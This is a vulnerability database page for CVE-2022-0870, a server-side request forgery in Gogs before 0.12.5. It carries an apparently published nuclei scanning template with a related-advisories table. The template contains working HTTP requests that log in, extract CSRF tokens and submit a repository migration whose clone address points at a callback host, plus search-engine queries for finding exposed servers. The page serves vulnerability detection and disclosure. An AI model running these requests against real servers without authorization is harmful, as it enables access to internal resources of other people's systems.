Lucene search
K

Gogs <0.12.5 - Server-Side Request Forgery

🗓️ 29 Jun 2026 05:52:57Reported by ProjectDiscoveryType 
nuclei
 nuclei
🔗 github.com👁 23 Views

Gogs Server-Side Request Forgery (CVE-2022-0870) allows unauthorized acces

Related
Refs
Code
ReporterTitlePublishedViews
Family
Huntr
Server-Side Request Forgery (SSRF) in gogs/gogs
17 Jul 202110:23
huntr
ATTACKERKB
CVE-2022-0870
11 Mar 202211:15
attackerkb
AlpineLinux
CVE-2022-0870
11 Mar 202210:40
alpinelinux
Circl
CVE-2022-0870
11 Mar 202214:14
circl
CNNVD
Gogs 代码问题漏洞
11 Mar 202200:00
cnnvd
CVE
CVE-2022-0870
11 Mar 202210:40
cve
Cvelist
CVE-2022-0870 Server-Side Request Forgery (SSRF) in gogs/gogs
11 Mar 202210:40
cvelist
EUVD
EUVD-2022-1366
3 Oct 202520:07
euvd
Github Security Blog
SSRF in repository migration
12 Mar 202200:00
github
GitLab Advisory Database
SSRF in repository migration
12 Mar 202200:00
gitlab
Rows per page
id: CVE-2022-0870

info:
  name: Gogs <0.12.5 - Server-Side Request Forgery
  author: theamanrawat,Akincibor
  severity: medium
  description: |
    Gogs GitHub repository before 0.12.5 is susceptible to server-side request forgery. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
  impact: |
    Successful exploitation of this vulnerability can result in unauthorized access to sensitive internal resources.
  remediation: Fixed in version 0.12.5.
  reference:
    - https://github.com/gogs/gogs/commit/91f2cde5e95f146bfe4765e837e7282df6c7cabb
    - https://huntr.dev/bounties/327797d7-ae41-498f-9bff-cc0bf98cf531
    - https://nvd.nist.gov/vuln/detail/CVE-2022-0870
    - https://github.com/cokeBeer/go-cves
    - https://github.com/michaellrowley/michaellrowley
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2022-0870
    cwe-id: CWE-918
    epss-score: 0.03422
    epss-percentile: 0.87406
    cpe: cpe:2.3:a:gogs:gogs:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 4
    vendor: gogs
    product: gogs
    shodan-query:
      - cpe:"cpe:2.3:a:gogs:gogs"
      - http.title:"sign in - gogs"
    fofa-query: title="sign in - gogs"
    google-query: intitle:"sign in - gogs"
  tags: cve,cve2022,ssrf,gogs,authenticated,huntr,vuln

http:
  - raw:
      - |
        GET /user/login HTTP/1.1
        Host: {{Hostname}}
      - |
        POST /user/login HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        _csrf={{csrf}}&user_name={{username}}&password={{url_encode(password)}}
      - |
        GET /repo/migrate HTTP/1.1
        Host: {{Hostname}}
      - |
        POST /repo/migrate HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        _csrf={{auth_csrf}}&clone_addr=https%3A%2F%2F{{interactsh-url}}&auth_username=&auth_password=&uid=1&repo_name={{randstr}}&description=test

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "dns"
          - "http"

      - type: word
        part: body_1
        words:
          - 'content="Gogs'

    extractors:
      - type: regex
        name: csrf
        group: 1
        regex:
          - 'name="_csrf" value="(.*)"'
        internal: true

      - type: regex
        name: auth_csrf
        group: 1
        regex:
          - 'name="_csrf" content="(.*)"'
        internal: true
# digest: 4a0a0047304502206b91ec5638c853f93fd4e02d0534da50d627d83b8b719efe40095bc72a860324022100b2fa2aad3821c56d12c791efd1f2d86c7ec2956bd6a8305a60b77ff9fcf66d81:922c64590222798bb761d5b6d8e72950

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

04 Feb 2026 07:00Current
6.3Medium risk
Vulners AI Score6.3
CVSS 25
CVSS 3.15.3
CVSS 35
EPSS0.03422
23